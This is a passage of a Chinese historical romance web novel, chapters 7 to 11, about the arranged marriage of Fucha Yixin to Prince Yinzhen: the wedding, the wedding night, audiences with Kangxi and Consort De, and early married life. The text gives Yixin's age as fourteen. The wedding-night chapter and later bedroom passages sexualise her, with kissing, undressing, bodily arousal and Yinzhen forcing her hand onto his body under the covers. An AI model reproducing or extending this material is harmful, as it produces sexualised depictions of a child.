弘皙愣在原地不知说什么,扭头看着莫雅琪,用两个人能听到的低沉着声音问: “这是富察马齐的女儿?你早就知道?” 怪不得!怪不得问他知不知道她是谁!这是他四婶婶!两个月后就要成为他四叔的嫡妻!他四叔和她的阿玛刚在朝堂上求情致使他阿玛复立太子之位,他扭头就在春意楼为难四叔的妻子、为难马齐的嫡女!! 他这下搞得畜生不如。 弘皙气得哆嗦。 也吓得哆嗦。 莫雅琪手足无措,谁能想到雍亲王和太子殿下也在春意楼用膳呢。 弘皙客气上前,拱手作揖行礼,尴尬又咬牙道歉,“富察格格,大水冲了龙王庙,对不住了。” 仪欣皮笑肉不笑,藏在胤禛身后隐晦翻个白眼,谁跟他是一家人。 “哦,不敢,阿哥还是把我送到庄子上去吧。” 胤禛眯着眼睛目光抓住她的白眼,成熟内敛地将她往身后挡了挡,瞥一眼弘皙,“继续道歉。” 弘皙把身子压低,说着他不熟识的话,跟仪欣认真道歉,连植宁都得到皇长孙的抱歉。 仪欣勉强点点头。 弘皙带着莫雅琪灰溜溜离开。 胤禛温和带着仪欣跟三爷五爷和十三爷打个招呼,给她介绍他们。 三爷风流,五爷带些耿直,倒是十三爷少年气侠气十足,每个人都极好说话。 胤禛淡淡点头,和缓开口:“我先带她和西林觉罗格格去用膳,太子殿下和诸位自便,改日胤禛做东。” 等到胤禛离开,三爷打着折扇揶揄开口:“都说老四不近女色,这不是挺温柔体贴吗?” 五爷笑着应和一句:“四哥向来谦逊有礼,没什么奇怪的。” 太子腿踢一下明黄色蟒袍,风流潇洒随口说:“那富察氏长得真倾国倾城,才十四就这般美人胚子,娇嗔满面,我见犹怜。” 三爷五爷面色古怪,倒是十三爷吼了一句:“太子殿下!” 这不是对弟妹该评价的话。 胤禛带着仪欣来到他们刚刚用过膳的包厢,已经打扫干净,重新温上热茶。 胤禛将小臂上幽蓝色披风搭在梨花架上,示意小二将两份菜单分别递给仪欣和植宁。 “你的披风后面溅上了茶渍,若是怕冷,离开春意楼先搭着本王的披风。” “你们用膳吧,记在雍亲王府账上,本王会留两名侍卫护送你们回府。” 胤禛安排好一切就要离开。 仪欣捧着热茶叫住他:“王爷…” “嗯?” “你…帮我把春意楼屏风和桌椅的银两先垫上可以吗?我不想让阿玛额娘知道。” 仪欣说着,又认真补充一句,“我两个月后就会还给你的。” 春意楼天字房摆件都不是凡品,砸得稀巴烂应该至少也要一千两银子,她一年只有一百八十两银子,还要拿给三哥哥给她买城西铺子的糕点。 等她拿到嫁妆就有这么多钱了。 胤禛脚步一顿,沉默一瞬答应说:“好,本王会处理,你认真用膳。” 胤禛离开春意楼。 蟹枳含贝口感软糯,橘黄色蟹籽撒在盘中点缀,仪欣夹起一块清蒸鲈鱼放到植宁盘中。 鹅黄色斗篷随意搭在雍亲王披风旁,植宁愣神看着,竟是觉察出一些缠绵悱恻的意味。 其实,在春意楼当众维护自己未过门的妻子是人之常情,春意楼用膳记在雍亲王府账上也是合乎情理,让植宁唯一愣住的是…披风,雍亲王随手留在这里的披风,泄露出下意识的柔情。 第二日清晨,弘皙阿哥大张旗鼓亲自到富察府赔礼道歉,布匹金银送了许多。 仪欣沉默,她费尽心思想瞒住阿玛额娘,谁知罪魁祸首这么迫不及待。 她没有吃亏,春意楼晚膳用得极好,钮祜禄氏却担忧坏了,将她带到寝殿说私房话。 钮祜禄氏摸了摸仪欣的脸,愁眉蹙额,思忖半晌只说了句:“我的小九要让王爷成为你的倚仗。” 第7章唯愿吾儿愚且鲁 家中溺爱娇宠,惯是个不受气又没什么筹谋算计的。 从前小打小闹,家门显赫,她和哪家格格闹得不愉快,只凭家中袒护,便能安然无恙。 她本想着将仪欣多留两年,再嫁给母家钮祜禄氏嫡次子,总归亲舅舅不会欺负自家孩子,只要富察氏不倒,便是锦衣玉食安稳和乐。 可谁知,造化弄人。 女人啊女人,尤其是宗亲大族的女人,幼年时靠家族荫蔽,嫁人后便要倚仗夫君庇护,今晨得知昨日仪欣和皇长孙有些龃龉,她实在担忧,后宫宗室太多腌臜手段。 况且,圣旨赐婚没有休妻,只有……亡妻。 “仪欣,在雍亲王府要听王爷话。” 钮祜禄氏声音渐渐轻了,揽过仪欣肩膀,轻声耳语叮嘱,“你阿玛和兄长们在你身后,王爷会善待你。” 她没有说得很明白,朝堂上的事情都是心照不宣的事情。 “额娘,你放心吧,谁会不喜欢我呢?”仪欣骄矜蹭了蹭钮祜禄氏的肩膀。 钮祜禄氏无奈笑着,又温柔摸摸她的头,仪欣就是被夸着哄着长大的,“好,谁都会喜欢我们仪欣的。” 唯愿吾儿愚且鲁,无灾无难到公卿。 …… 仪欣是在荷花盛开时节出嫁的。 惠风和煦,万物峥嵘,景云凌空,抬头见喜。 仪欣如同小孔雀一般从天蒙蒙亮就被捉起来装饰。 鸾鸟于飞用金线勾勒在正红嫁妆上,襟卦背后栩栩如生绣着金色凤凰,仪欣头戴五头鸾凤钗,金色大拉翅鸾鸟衔着大颗明珠。 她小脸莹白,身量高挑,盈盈一握腰间挂着宝石蓝福络,眼眸含秋水,唇红齿白,粉雕玉琢,灵动懵懂如山间落雪时节莽撞的小鹿。 全福老人为她簪发梳头,吉祥话流水般喜气洋洋说出来。 “哎呦,老身给这么多格格梳过头,就属富察格格这面相最显富贵荣华。” 钮祜禄氏握着女儿的手,任凭看她一眼就想哭,她的女儿,她捧着抱着疼着舍不得让受一点委屈的孩子,竟然也要出嫁了。 “额娘,王府同富察府离得不远的。”仪欣弯唇劝慰。 “是啊,额娘,小九三日后就回来了。” 仪欣的嫂嫂们温声劝慰。 “吉时已到!” 内务府太监尖细的嗓音划破离别。 富察府朱漆大门前,八盏鎏金喜灯轻轻摇曳。 鼓乐骤然响起,十六名轿夫肩扛八抬红绸喜轿,轿顶缀着鎏金金凰,凤眼嵌着东海珍珠。 胤禛一身玄色蟒袍,腰间玉带缀着亲王名佩,矜贵沉稳坐于马上,注视着仪欣缓缓向他走来。 他下马握住红绸,下意识握住她的胳膊,她今日穿了花盆底,嫁衣头饰繁琐,站着应该会累。 “王爷……”仪欣以明珠蚕丝团扇微微掩面。 “嗯。”胤禛轻轻应一声。 “妾身…紧张。”仪欣声音很轻有点颤抖。 “不怕,本王在这里。” 说出这句话,胤禛一瞬间情绪泄洪般漫灌脑海,心脏如同杂草般疯长,眼眶好似要浸出热泪,他垂了垂眼睛掩饰情绪,换一只手握住红绸,戴着佛珠的手直接握住她的手腕,带着她慢慢走向轿辇。 “我们要成亲了吗?”仪欣感受到男人手掌温热,感受到他的拇指轻轻安抚她的腕间脉搏。 “对。” 胤禛扶着她上轿,自己撩袍上马,竟有种不符合年纪春风得意马蹄疾的心境,对,我们要成亲了。 迎亲队伍绕京城,身后跟着仪欣十里红妆陪嫁,富察氏十名成年男儿骑马散落在红衣侍卫其间为富察仪欣送嫁。 马齐猛汉落泪哭得不能见人,强撑着在富察府招待宾客,李荣保带着儿子和侄子迎来送往。 富察傅文不疾不徐骑马走在仪欣花轿旁,笑面狐狸儒雅温和的面上,如沐春风点头示意,还是眼眶微微发红。 仪欣轻轻撩开花轿窗帘,“大哥。” 傅文注意到她,对她笑了笑,一只手握着骏马缰绳,另一只手从袖袋里掏出两颗饴糖递给仪欣。 “有没有饿肚子?”傅文轻声询问。 仪欣晃晃脑袋,瘪着嘴睫毛轻颤落下两大颗眼泪,“大哥,我有点想哭。” 傅辙驾马凑上前来,看她眼眶红赶紧问:“怎么了,小九?哪里不舒服跟三哥说。” 仪欣也不知道哪里不舒服,她在闺房时,额娘掉眼泪她心里塞塞的,她忍着不想落泪,怕额娘难过。 “没有不舒服。”仪欣把薄纱落下,“哥哥,我没事。” “不哭,咱们富察氏没有嫁出去的女儿泼出去水这种说法,哥哥会看顾你一辈子。” 傅文声音温柔,仰头看着送嫁队伍最前方玄色蟒袍男人。 胤禛耳力极好,花轿上细碎的动静自然也注意到。 雍亲王府到了。 胤禛携仪欣从正门入雍亲王府,雍亲王府颜色寡淡,红绸灯笼装饰着溢出来的喜气,万众瞩目中走完流程,仪欣在簇拥声中送到主院洞房。 “四哥!” “四哥!” “……” 房门外叽叽喳喳呼唤声,仪欣端坐在床榻, 胤禛俯身轻轻揭下红盖头,呼吸放轻,一双狐狸眼对上桃花眼,池塘噗通落下一块石子,落到漆黑漆黑的潭底。 一枚云纹荷包落在仪欣手里。 “里面是剥好的小坚果,先垫一下肚子。”胤禛说。 他蹭到她的手心,酥酥麻麻,她的手软若无骨,软绵绵没有纹路一般。 “王爷…他们在叫你。” 胤禛轻轻笑:“他们想闹洞房。本王去参宴,可能会喝点酒。” 说着,老十三不知被谁踹进了寝殿外间。 胤禛大步离开寝殿,薅起老十三脖颈衣裳扯着他离开,罕见笑着开玩笑,“都是兄弟,今晚替四哥挡酒。” 说罢,一个眼风扫过去,那些十五六岁嚷着闹洞房的阿哥们老实得跟鹌鹑一样,笑呵呵跟在胤禛后面离开去前院参宴。 月色藏匿在雍亲王府榕树后,笋尖般的月牙在薄云后游荡,夜空是浓浓墨蓝色。 红烛鸾帐,胤禛在裹着红绸的宫灯指引下回到正院,他被灌了很多酒,脚步微微踉跄,眼睛朦胧眯着,由苏培盛搀扶着进入洞房。 仪欣头轻倚在床幔旁,湿漉漉的眼睛对上醉醺醺的男人。 寝殿内一堆丫鬟嬷嬷,胤禛不舒服皱眉,胸口发胀,摆手让人退下。 晴云脚步一顿,迟疑后还是恭敬退出寝殿,出门后对着苏培盛点点头,一板一眼站在门口。 仪欣抿着唇拘谨看着面前玄色蟒袍的男人。 胤禛扭头吐出一口酒气,目光旋即恢复清明。 第8章洞房花烛夜 随之而来两名嬷嬷端着楠木托盘。 “四弟,四弟妹,今夜本宫沾沾喜气。”太子妃和善笑着,示意嬷嬷将合卺酒倒满两个酒盅。 “多谢二嫂。”胤禛微微后退一些,离得仪欣近一点。 “谢谢太子妃。”仪欣腼腆接过酒盅,隐晦嗅了嗅。 按照民间习俗,在饮酒时,首先会让新婚夫妻各饮半杯。然后交换酒杯,挽着手臂将剩余的酒饮净,寓意着夫妻二人永远相爱、永不分离。 饮了半盏,仪欣喉咙烫烫的,眼睛眯着脸颊微红,下意识握住胤禛的衣袖晃了晃。 胤禛也喝掉半盏,垂着眼看衣袖上攥着的葱白指尖,微微泛着粉色的指甲按出月牙白,他俯身低头,轻轻询问:“嗯?” “没什么。”仪欣攥紧些。 “交杯合欢,恩爱两不疑。”太子妃笑着说。 胤禛微微低下身子,两个人手臂相交,缠绵蕴藉离得很近,仪欣琥珀色的瞳孔映着他身上蟒袍。 她眼睛都红了,抿着酒乍然闯入漆黑的眸子,咕咚咽下酒,下意识躲藏着闭上了眼。 酒气交织,仪欣从未饮酒,此时甚至晕乎乎的,分不清是一盏酒醉人,还是身侧男人身上浓浓的酒气让她微醺。 “好了,睁眼睛。”胤禛侧脸勾唇,抿着唇角看她颤抖簌簌羽睫。 老嬷嬷端上一碗饺子,仪欣知道这个饺子要考验什么,脑袋有些迟钝,乖乖握着象牙筷夹住一个,放进嘴里还没咬,娇憨嘟囔一句:“肯定是生的。” 胤禛闷闷笑,太子妃却笑出声来,夸赞说,“四弟妹聪敏,生的孩子也会聪明。” 太子妃说这话,余光却在观察胤禛的反应,雍亲王怪癖她听太子爷时常提起,府中别说妾室,连侍女都没有,只有个佟佳皇后留下的掌管中馈的佟嬷嬷。 其实隐晦的目光多得是,胤禛感官敏锐,也不在意,倒是坦荡说一句:“那就借二嫂吉言了。” 太子妃做完这套流程,笑着说几句吉祥话,款款离开。 寝殿内只剩她和他。 仪欣别的优点不明显,就是听话,尤其听额娘的话,她记着额娘说的要让王爷护着她,要听王爷的话。 她不清楚怎么让王爷喜欢自己,遵循撒娇本能缓缓抱住男人的腰,猫儿似的蹭蹭他胸前蟒袍。 “王爷……”仪欣呢喃。 胤禛骨节分明的手包住仪欣无骨般手腕,继而蹲下来,在床榻边仰头看着她红通通的眼睛和鼻尖,少女馨香灌满全身经络,他好像…生理性能够亲近她。 他的嫡福晋,没什么好矜持的。 对视。 粗、喘比接吻先到来。 胤禛喉结滚动,仪欣唇角溢出嘤咛。 鼻尖轻碰。 胤禛含住她的唇珠轻咬,仪欣脑袋发蒙,坐不稳跌落在他怀里。 抱起她褪去衣衫,胤禛没用她伺候,自己解落蟒袍扔到一旁,将她安稳放在床榻上,扯下帐幔。 “王爷…嬷嬷没教我…”仪欣轻轻发抖,喘出浓浓的酒气。 胤禛低沉着抽气,安抚摸她的腰窝,“没事,不做。” “先亲一会儿。” “那好吧…”仪欣乖得很,晕乎乎什么话都会回应他。 她圆润莹白的肩头如同剥壳荔枝,盈盈一握的腰肢被男人护在手掌里。 胤禛裸露胸膛薄肌上汗珠滚落,手上发狠使力,强迫让她靠近自己。 好痛。 富察仪欣哭出声来,吓了胤禛一跳。 接着他肩膀被咬得一紧,闷吭出声。 娇气委屈又恶狠狠控诉声从怀里传来,“你的扳指硌得我腰好痛,特别痛。” 胤禛哭笑不得,摘掉拇指上扳指放在枕边,替她揉了揉,“还痛吗?” “还好吧。”仪欣额头蹭蹭他的肩膀,沾惹着令人酥酥麻麻的齿痕。 胤禛平复下来盖上被衾,温声说:“先睡吧,明日还要入宫觐见。” 泪眼朦胧,仪欣心中惴惴不安,鬼使神差问一句:“王爷…你行吗?” 胤禛沉默。 “……” 见男人长时间沉默,仪欣胳膊钻到他的被衾里,指尖戳了戳他的腰。 胤禛被她戳得无奈,她年纪小,他没想过做到最后一步,她偏偏还要刨根问底招惹他。 黑夜里,只有一盏红烛,胤禛使坏扯了扯唇角,握住被衾里的小手,强硬拉着。 仪欣瞠目结舌,感受到什么,微微挣扎,却被那只手十指紧扣钉在原处。 “福晋检查一下呢。” “王爷…”气息从手掌钻着到脑袋,刚刚的酒气也跑来添乱,闹得她思绪杂乱无章,肩膀微微打颤,慌乱喘气后破罐子破摔隔着被衾靠在男人肩膀上。 她有点醉了。 很久很久。 胤禛就垂着眸看着她慢慢睡过去。 好烫。 她的心真大,还装不住事。 胤禛整夜没有睡。 身体。 并且,他从未见过这么粘人的人,像是一团揉在羽毛里的小黏糕,小动物也没见过这么无意识撒娇的。 他没有近距离接触过女人,只是,她整夜往他被衾里钻,脑瓜埋在他的胸膛上,她的手和脚都冰凉,无孔不入躲在他身上。 稍微有些赶她离开的动作,她就哼唧无意识撒娇,自己又努力钻回来。 怀中满是女子馨香,她肌肤冰凉如玉,处处软乎乎又靠得极近,像是在他怀里筑了个窝。 夜特别静。 红烛鸾帐,一寸火苗燃着。 胤禛目光看着那一撮光源,打理思绪。 他无比确信,他是个正常男人,不存在外界风言风语诋毁的那般。 夺嫡时的皇子不需要太完美,自污得来的缺陷比皇阿玛的忌惮更能接受。 他对风言风语也就顺其自然。 自然也不存在绝嗣。 但是,其实,他也不正常。 他从十几岁宫中安排暖床丫鬟就清楚,他接触女人胸口会闷闷发疼,对别的女人,他没有反应。 当然,也不至于有莫须有的忧虑,对男人,他更没有反应。 他想到做那种事就如同…要喝下一碗沙子搅拌成的浓粥,他喝不下所以也做不了,所以他作壁上观,将自己剥离那种尘世欲望。 他不觉得委屈痛苦,反而很感激这种特殊反应让他守身如玉,佛缘前世今生,或许,一切自有定数。 “冷……”仪欣胳膊搭在胤禛腰上哼唧。 胤禛无奈叹息,额头贴一下她的侧脸,察觉温度正常,将她的被衾拉过来裹到她的身上。 第9章儿臣手段稚嫩,没轻没重 他大婚休息五日,第一日便是要入宫谢恩。 起得太早,仪欣困得睁不开眼,晴云为她梳妆更衣,仪欣神情恹恹,垂着眼拒绝用早膳。 路上仪欣靠在马车壁上,怀里抱着晴云披上的小毯子,困得睁不开眼。 “有没有这么困呢?”胤禛无奈问。 “妾身昨晚根本没睡好。”仪欣委屈巴巴睨一眼,裹了裹毯子。 胤禛无言,若不是他昨晚被她闹得一夜未眠,他就信了。 她今日穿着宝蓝色亲王福晋吉服,梳着已婚妇人大拉翅旗头,颈间朝珠落在腿上哗啦啦作响,明珠般的小脸上睫毛乖巧轻颤,漂亮得像是从画里钻出来的小仙娥。 就是娇气,晨起要一群丫鬟嬷嬷哄着,轮流伺候;几名丫鬟为她梳妆,挑簪钗总是不满意。 “福晋,用些点心吧。”晴云在马车外温声劝着。 “不吃,困。”仪欣不满意气冲冲说。 一声轻叹,胤禛把她的头轻轻靠在自己肩膀上,叮嘱一句:“先睡一会儿吧,进宫后不能对皇阿玛和额娘耍脾气。” “妾身知道。”仪欣蹭蹭肩膀,浅浅呼吸着。 胤禛多虑了。 仪欣一见到康熙,笑眯眯行礼问安,康熙旁敲侧击问她在王府如何,她欢欢喜喜从王府的青石板砖夸到早膳丰盛、王爷体贴。 又夸乾清宫熏的香淡雅而不甜腻,闻着心情变得极好。 一句句皇阿玛也唤得毫不扭捏。 “皇阿玛,儿臣一见您便觉得孺慕亲近。” “你同胤禛均是诚孝纯善的孩子。” 康熙心情沉重,他自是知道昨夜二人并未圆房,又看着这骄矜欢喜的面庞,九五至尊罕见生出些愧疚来。 马齐的女儿和胤禛成亲,到底是强人所难了。 多好的孩子,不嫌弃胤禛身体问题,还处处为自家夫君遮掩。 康熙给梁九功一个眼神,加赏赐,原定赏赐再翻上两倍,不,三倍。 仪欣和胤禛离开乾清宫,又到永和宫给德妃请安。 身后跟着八名小太监,捧着康熙满满当当的赏赐,晴云手上谨慎恭敬地捧着一斛东珠。 胤禛笑着看她跟小孔雀一样,小嘴巴巴哄得皇阿玛开怀又愧疚,赏赐都塞了许多超规格的宝贝。 “王爷,妾身表现不错吧。” 仪欣得意骄矜晃晃脑袋,她旁的事不擅长,就是擅长哄长辈开心,家中阿玛额娘祖父祖母百试百灵。 “嗯,表扬你。”胤禛勾唇,抬手轻轻捏一捏她的后脖颈。 在宫中行走没有轿辇真的难捱,仪欣起得早,用膳敷衍,身子弱,款款走到永和宫有些气喘吁吁。 胤禛牵着她走的很慢,不疾不徐同她闲聊。 德妃等得不耐烦。 仪欣进到永和宫随着胤禛一同行礼问安,笑盈盈准备故技重施,却被德妃劈头盖脸训斥一顿。 “怎得来的这般迟?富察氏,本宫无需你如寻常人家一般侍奉舅姑,区区请安也要倦怠至此吗?” “小小年纪,什么规矩?简直有辱富察氏清正门风。” “额娘,儿臣知错。”仪欣当即有些哽咽。 她从前见过德妃娘娘两次,娘娘待她和蔼可亲,多次赏赐夸赞,想必是喜爱她的。 她本想着来迟先告罪解释体弱缘由,再将皇阿玛赏赐的东珠借花献佛孝敬额娘,撒娇请求她不要生气。 如今低头跪着,眼泪滴落将宝蓝色吉服浸染成深蓝。 胤禛冷脸,尽管德妃未叫起,还是伸出手臂将她半揽着扶起来,沉默着塞到身后。 他本以为,她是富察氏的女儿,又是初次参见敬茶,德妃总是要宽恕小错,尽显和乐才是。 “老四,本宫无权训诫儿媳吗?”德妃面色不虞,端着茶盏,护甲泛着凌厉的光。 “可以。”胤禛揽着仪欣,一下下轻抚她的肩膀,他语气很淡,咽下去森寒嗜血气,平静阐述一个事实,“那儿臣在朝堂上也有权管教弟弟。” “额娘,儿臣手段稚嫩,没轻没重。孰是孰非,您要想清楚才是。” 德妃一噎,当即想将茶盏掷到地上,恨不得让他们滚出去。 胤禛平静同她对视,静静看着德妃松开攥紧茶盏的手,气恼的脸换上虚伪和蔼的脸谱。 半晌。 “好孩子,刚刚额娘说话冲了些,吓到你了吧。” 德妃亲自起身,慢悠悠上前要替仪欣擦眼泪。 仪欣后退一步,哽咽一声,红唇留下齿痕,声如蚊蝇道:“没有。” 面如寒霜,胤禛厌倦垂了垂眼,“先在永和宫逛逛,好吗?本王同额娘说几句话。” “还没敬茶。”仪欣轻轻拽胤禛的佛珠,委屈哽咽着抿唇。 “一会儿再回来。”胤禛温声说。 等到仪欣离开寝殿,胤禛一撩衣袍自顾自坐下来。 倦怠感钻入骨髓。 “老四,你要说什么?” 德妃勉强笑了笑,一名丫鬟给胤禛上一盏茶。 “儿臣什么都不想说,额娘思忖即可。” 胤禛慢条斯理端起茶盏饮茶,他没什么想说的,就是想让她出去整理一下情绪。 也让德妃想明白她该用什么态度对待他的福晋。 苏培盛去寻仪欣时,发现十四爷正围着自家福晋说话。 “谁欺负你了?” “是不是四哥欺负你?”十四阿哥气势汹汹撸袖子。 他穿着半旧不新浅紫色衣裳,身形高大,声音粗犷,走起路来风风火火,随时要踢起脚下尘土。 仪欣垂眸不理。 如果说,她最讨厌的人是乌拉那拉莫雅琪,那她最最讨厌的人就是十四阿哥。 她十岁时参加恭亲王府郡主的春日宴,十四阿哥射下一串血肉模糊的大雁落在她面前,吓坏了她和她当时的丫鬟桑儿。 桑儿吓得口不择言,十四阿哥带着太监找到大雁时,听到桑儿的话命人将桑儿杖毙,她自然据理力争护着桑儿,谁知他竟是威胁将她沉塘。 她回府后风热不止,又整夜惊梦。 额娘做主将桑儿送到庄子上做事,将晴空晴云两个丫鬟调教好送到她身边伺候。 阿玛和叔父强硬找万岁爷和德妃讨说法,硬是押着十四阿哥到富察府赔礼道歉,德妃送上好些不菲首饰,万岁爷亲自派太医问询医治。 后来十四阿哥再看见她就偏爱多说几句话,德妃娘娘在那时对她疼爱有加。 如今,看见就烦。 “喂,你说话啊,富察仪欣!”胤禵一个劲催促。 第10章胤禛沐休五日日常 四嫂。 胤禵心头一阵羞赧,恶狠狠追上去。 苏培盛见状赶紧出声,笑着点头哈腰。 “哎呦,阿哥吉祥。福晋,王爷等您一同给娘娘敬茶。” 胤禛看着窈窕纤细的身影出现在殿门口,又看到亦步亦趋跟在身后的胤禵,目光沉了沉。 接下来一切都有条不紊,敬茶,赏赐。 德妃本来想给仪欣个下马威,但是胤禛护着,甚至威胁她,她自然要面上装得和蔼。 为了表示满意,德妃笑着留仪欣和胤禛在永和宫用午膳,午膳期间,康熙还在赐了膳。 仪欣一顿饭只埋头吃,一句话也不想说,十四阿哥没话找话她也装听不懂,德妃笑着让她吃慢点。 什么?吃慢点?吃慢点什么时候能走。 一直折腾到午后,仪欣才恹恹不乐坐在回府的马车上。 本来晨起就不高兴,如今在外面淋了雨,遭人欺负,更是想躲起来哭一会。 她憋不住话,忍不住埋在胤禛肩膀上,收起强颜欢笑,呜呜咽咽地问:“王爷,我是不是被讨厌了?” 她从没听过这么重的斥责。 胤禛犹豫一瞬,顺从心意慢慢抱住她,轻轻吻一下她的侧脸。 “没有,她讨厌的不是你。” 仪欣有点暗戳戳记仇,但是从来不内耗,简单来说,可以解释为没心没肺。 反复回想旁人讨厌她的事情简直是不断伤害自己。 反正他们不喜欢她,肯定是他们的错。 她回到王府随即更衣安心睡回笼觉去了。 胤禛还怕她窝心,一路上抱着她思虑如何安慰她,看她在缩在榻间酣眠,又好笑又无奈。 她真的很容易读懂。 仪欣带到陪嫁许多丫鬟小厮,有的替她看顾中馈,有的为她打理陪嫁铺子,剩下的便是照看她的日常起居。 雍亲王府人口简单,她嫁过来当日,掌管中馈的佟嬷嬷便将对牌送到仪欣手中。 只是胤禛不适应府中这么多丫鬟,如今正蹙眉拘谨挨着仪欣坐在床榻沿上,让丫鬟退出去。 仪欣感受到热乎乎的东西,拱两下就蹭着抱住胤禛的腿,嘴巴不自觉轻蠕动。 胤禛弯唇,将手搭在她肉乎乎的脸上,轻轻捏了捏。 “谁允许这么爱撒娇的?” 胤禛不习惯白日睡觉,倚在床头读策论,仪欣穿着肉粉色寝衣,蹭得凌凌乱乱,或许是感觉冷了,她蹭着埋进被衾里,来回蠕动。 书读得格外慢,他觉得有些烦躁。 胤禛将书搭在被衾鼓起的一团上,凑近将那团薅到怀里。 不耐烦拍了拍,冷淡开口吩咐,“不许乱蹭了。” 仪欣反而抱住他的腰,在某人怀里呼呼继续睡。 睡到近黄昏,胤禛都有些恍惚,怀疑自己的记性,难不成昨夜她真的没睡好吗?难不成昨夜是她一夜没睡吗? “王爷…”一道娇软又有些哑的声音从被衾里钻出来。 “给我倒杯水。” 胤禛一顿,他…还要给她…倒水。 接过递来的半盏温水,咕咚咕咚喝掉,仪欣有礼貌地说:“谢谢王爷。” “嗯。”胤禛开口,“本王恢复上朝后起得早,日后会住在前院。” 他不喜欢丫鬟伺候,习惯久居前院,书房在前院,上朝议事前院也方便,日后也不会因为上朝太早吵到她。 仪欣一呆,指了指自己。 我呢? 胤禛看她软乎乎又不太聪明的样子有点想笑,指尖戳戳她的脸,又戳戳。 仪欣摇摇脑袋,窝到床榻深处,不信任瞅着胤禛。 胤禛挑眉坐在床榻,听到一个意料之中的问题。 “王爷,你不会是在前院藏女人了吧?” “福晋可以随时查。” 仪欣倒是不在意王爷纳妾的事情,她阿玛叔父哥哥都有妾室,这种事情她没什么好阻止的,但是仪欣思索半晌还是自以为全面的叮嘱一句。 “藏女人没什么大事,不可以藏男人。” “……” “要不然藏严实也可以,否则传出去妾身可没法见人了。” “……” 胤禛揉了揉额角,随意“嗯”一声。 …… 仪欣欣喜发现,成亲真不错。 王爷休息五日,除了第三日陪她回门,他们在富察府待了一整日以外,她可以日日都同他一起出门用膳,每天都能偶遇阿玛和额娘。 春意楼的饭菜,城西糕点铺的小点心,她吃不完可以打包满满当当回府。 她觉得很自由,从前十多年都没体会过这般自由。 她学过管家,草草翻阅过王府账册,深深吸气。 这么多银子!! 怎么会这么多! 佟嬷嬷笑着解释说,王府只有王爷一个主子,也没有丫鬟侍女,王爷生活并不奢靡,平日里并无大额支出。 佟佳皇后将大笔嫁妆留给了当时尚且十一岁的王爷,其旧人帮忙打理,年年有不菲进账。 仪欣乍富! 王爷将管家权力都交给她,并且直言公中银两任意支出,无需动用她的嫁妆。 雍亲王府比她学得管家事宜更好上手,前院王爷自己把持着,后院的事情仪欣从富察府带来的晴空做得得心应手。 她在正院榕树下架了一架秋千,白日可以窝在秋千上晒太阳。 王爷什么都会,秋千架上簪的花卉是王爷设计后交予绣娘赶制的。 她每次窝在秋千里,就像是蝴蝶涤荡在花海。 她和他每天一起吃饭一起睡觉,晚上抱着王爷还可以亲亲,可以咬他的肩膀,蹭蹭他裸露的胸膛,听他沙哑的呼吸。 每次咬完他的胸膛,仰头偷看他时,总能握住他微眯眼眸里酿起的笑意还有微勾的唇角。 抱着暖烘烘的身体睡觉都觉得香香的,每晚都会做清甜的美梦。 她记性还不错,幼年时总是爱和阿玛哥哥们撒娇,骑在他们身上骑大马,习惯性让他们抱着到处溜达。 额娘曾经教导她,女大避父,女大避兄。当她六岁时,额娘拒绝男人随意抱着她,其实,那时候尚算年幼的她非常失落。 额娘温柔告诉她,因为阿玛和哥哥们的怀抱永久属于他们的妻子,她们只是暂时借给年幼的仪欣靠一靠。其实天地很公平,仪欣也会找到永久属于自己的怀抱。 仪欣看着自己的指尖,发现她在愣神。 “福晋,王爷明日上朝,今夜宿在前院了。”苏培盛特意回禀一声。 第11章我们会和离吗 “福晋,喝一碗安神茶早些睡吧。”晴云说。 “前几晚我没喝安神茶也睡得很好。” 仪欣轻轻打个哈欠,晴云揉捏着仪欣的太阳穴,仪欣顺着力道卧到床榻间。 一身热乎乎的水汽,被衾裹成蚕蛹,王府的夜总是静谧的,纵使夏日也无蝉鸣几许。 前院书房内,男人轻轻捻着腕间佛珠,松弛靠在椅背上,书案上卷宗佛经被窗棂溢出来的风吹得默默翻页。 朝堂上的平衡极度微妙,老八尚在禁足,老八一党隐晦推出老十四争储;太子对他极尽拉拢,老三老五同他向来亲近有加。 皇上同太子间关系和缓又难归久好,也是试探频频,他在其间愈发如鱼得水。 也是,谁能不放心一个“绝嗣”而又有才干的纯臣呢? “王爷,夜深了。”苏培盛妥善提醒一句。 两名小厮悄声将书房冰盆撤下。 胤禛凝视冰盆,问:“她呢?” 他肝火旺盛,年年六月便离不得冰。 今年人间六月好似不同,他成亲后与他的福晋同床共枕,那个人手脚总是冰凉,凝脂蔻华,如同触体升温的暖玉,熟睡后轻酣,凌乱寝衣覆盖淡粉色的肌肤。 一瞬间,很胀。 胤禛垂眸凝视身下,嗤笑一声,哗啦啦翻动佛经。 他又不是被欲望控制的牲畜,这是做什么? 苏培盛:“福晋早早便歇下了。” “嗯。” 攥住佛经,胤禛罕见披上斗篷回寝殿休息。 苏培盛纳闷,爷向来怕热,虽是夜深露重,也从未搭过衣裳,难不成是书房冰块放置多了? 刚出书房门,胤禛脚步一顿,无奈轻笑。 一团裹得严严实实的球,仅露着一双亮晶晶的眼睛,手中握着小橘灯照明,见他来了冷哼一声,倏地蹲下去。 前扑后拥丫鬟跟随着劝阻。 心一下子软了,胤禛走上前蹲在那一团身边问,“怎么还没睡?” 仪欣眼巴巴看着他,不高兴地说:“我根本就睡不着!被衾很冷,妾身也冷。” 胤禛摸了摸她冰凉的手,将她拉起来。 仪欣借坡下驴抱住他的腰,钻到他斗篷里,仰头直勾勾看着他。 “我们会和离吗?”仪欣问。 胤禛呼吸一滞,手臂揽上她的腰,往怀里搂紧,呵斥一句:“深更半夜,胡说什么。” 仪欣抱着他的腰,眼里含着水雾,真的怎么都睡不着,六月天总不能抱着汤婆子,她自己在王府空荡荡的。不会和离,那她和王爷就是一家人了,就该如同阿玛和额娘那般亲近。 胤禛低头示意她搂住自己脖颈后,单手手臂使力打横抱起她,戴着佛珠的手腕提着她带来的小橘灯,往寝殿走去。 “本王陪你睡觉,不许掉眼泪。” “妾身不要分房睡。” “可是,本王上朝每日寅时初便起。” 胤禛感受到她的手臂抱着自己的脖颈,隔着柔软布料摩擦他的耳后。 “寅时!”仪欣吓一跳,“可是王府和皇宫没那么远吧。” “本王还要侍奉皇阿玛用早膳。” “多大年纪了,用膳还要王爷喂不成?这不是折腾人吗。”仪欣搂紧胤禛脖颈,替他抱不平。 “嘘,低声。” 胤禛故意颠她一下惹得她抱紧,她这一句话被人听去,他白干。 “本王怀里这只多大年纪了,还要人陪着睡?”胤禛垂眸勾唇看着她调侃。 仪欣哼哧哼哧藏在怀里拱了拱。 